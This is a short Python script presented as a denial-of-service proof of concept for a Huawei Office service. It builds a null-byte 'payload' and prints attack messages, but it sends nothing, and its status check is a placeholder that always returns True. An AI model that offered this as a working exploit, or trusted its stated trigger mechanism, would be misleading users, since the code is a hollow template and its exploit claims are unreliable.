The following code is for security research and authorized testing only.
python
# CVE-2025-66331 PoC - Denial of Service in Huawei Office Service
# This PoC demonstrates local DoS trigger mechanism
import os
import sys
import time
def trigger_office_service_dos():
"""
Trigger DoS condition in Huawei Office Service
Note: This is a conceptual PoC. Actual exploitation requires:
- Local access to Huawei device
- User interaction to trigger the vulnerable code path
- Specific malformed input to the Office service
"""
print("[*] CVE-2025-66331 DoS PoC for Huawei Office Service")
print("[*] Target: Huawei Office Service")
print("[*] Attack Vector: Local (AV:L)")
print("[*] Requires: User Interaction (UI:R)")
# Simulate the DoS trigger condition
# In actual exploitation, this would involve:
# 1. Locating the Office service process
# 2. Identifying the vulnerable function in Office service
# 3. Sending malformed data through the vulnerable input handler
# 4. Causing service crash or hang
target_service = "com.huawei.office.service"
print(f"[*] Targeting service: {target_service}")
print("[*] Sending crafted request to trigger DoS condition...")
# Malformed input that triggers the vulnerability
malicious_payload = {
"type": "office_document",
"action": "parse",
"data": "\x00" * 10000 # Oversized input causing buffer condition
}
print(f"[*] Payload size: {len(malicious_payload['data'])} bytes")
print("[*] Exploitation requires specific Office document with malformed content")
print("[*] DoS occurs when Office service processes the malicious input")
# Verification steps
print("[*] Checking service status...")
service_running = check_service_status(target_service)
if not service_running:
print("[!] Service is no longer responding - DoS successful")
return True
else:
print("[*] Service still running - DoS not triggered")
return False
def check_service_status(service_name):
"""Check if the Office service is still running"""
# Placeholder for actual service status check
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-66331 Huawei Office Service DoS PoC")
print("=" * 60)
trigger_office_service_dos()